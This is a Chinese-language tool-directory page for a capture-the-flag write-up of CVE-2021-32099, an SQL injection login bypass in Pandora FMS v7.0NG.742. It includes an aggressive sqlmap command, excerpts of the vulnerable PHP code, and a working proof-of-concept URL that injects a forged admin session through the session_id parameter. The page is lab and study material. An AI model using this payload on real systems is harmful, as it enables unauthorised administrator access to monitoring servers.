Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2021-32099_SQLi — CVE-2021-32099 SQL 注入允许攻击者绕过登录。来自 HTB 的厚爱 | Kitploit
工具/GitHubGitHub/l3eol3eo/cve-2021-32099_sqli
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试
GitHubl3eol3eo/cve-2021-32099_sqli

CVE-2021-32099_SQLi

CVE-2021-32099 SQL 注入允许攻击者绕过登录。来自 HTB 的厚爱

查看仓库
7144年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2021-32099 SQLi 绕过登录

在尝试读取 Pandora.htb 上的 User Flag 时非常有用

CVE-2021-32099 SQLi 允许攻击者绕过登录。

目标

利用目标:Pandora FMS v7.0NG.742_FIX_PERL2020

分析

从 cvedetail 中读取。我们知道目标端点:http://localhost:8000/pandora_console/include/chart_generator.php?session_id=PayloadHere => 访问被拒绝。

alt text sqlmap -r req.txt -p session_id --dbms=mysql --dbs --risk=3 --level=5

枚举之后,我们只关注 tsessions_php 表。tssessions_php 有 3 列:id_session、last_active、data。(sqlmap 的结果格式错误)

alt text

/include/chart_generator.php

root@kitploit:~
71  // Try to initialize session using existing php session id.
72  $user = new PandoraFMS\User(['phpsessionid' => $_REQUEST['session_id']]);
73  if (check_login(false) === false) {   
74     // Error handler.
 ⋮
96  }
97
98  // Access granted.
  • phpsessionid 将被赋值为 session_id(PayloadHere)的值

/include/lib/User.php

root@kitploit:~
60  public function __construct($data)
61  {
 ⋮
68     if (is_array($data) === true) {
69        if (isset($data['phpsessionid']) === true) {
70           $this->sessions[$data['phpsessionid']] = 1;
71           $info = \db_get_row_filter(
72              'tsessions_php',
73              ['id_session' => $data['phpsessionid']]
74          );
75
76         if ($info !== false) {
77            // Process.
78            $session_data = session_decode($info['data']);
79            $this->idUser = $_SESSION['id_usuario'];
80
81            // Valid session.
82            return $this;
83         }
  • id_session 将被赋值为 phpsessionid 的值
  • 所有代码将提供此查询:select * from tsessions_php where id_session=***PayloadHere***

/include/lib/db/mysql.php

root@kitploit:~
848  function db_get_row_filter($table, $filter, $fields=false)
849  {  
850     if (empty($fields)) {
851         $fields = '*';
852     }
 ⋮
861     $filter = db_format_array_where_clause_sql($filter, ' WHERE ');
 ⋮
868     $sql = sprintf('SELECT %s FROM %s %s', $fields, $table, $filter);

POC:

http://localhost:8000/pandora_console/include/chart_generator.php?session_id=PayloadHere%27%20union%20select%20%271%27,%272%27,%27id_usuario|s:5:%22admin%22;%27%20--%20a => Pandora FMS 图表( - )

重新加载:http://localhost:8000/pandora_console/ 以访问网页

参考:

https://blog.sonarsource.com/pandora-fms-742-critical-code-vulnerabilities-explained

https://portswigger.net/daily-swig/multiple-vulnerabilities-in-pandora-fms-could-trigger-remote-execution-attack

下载工具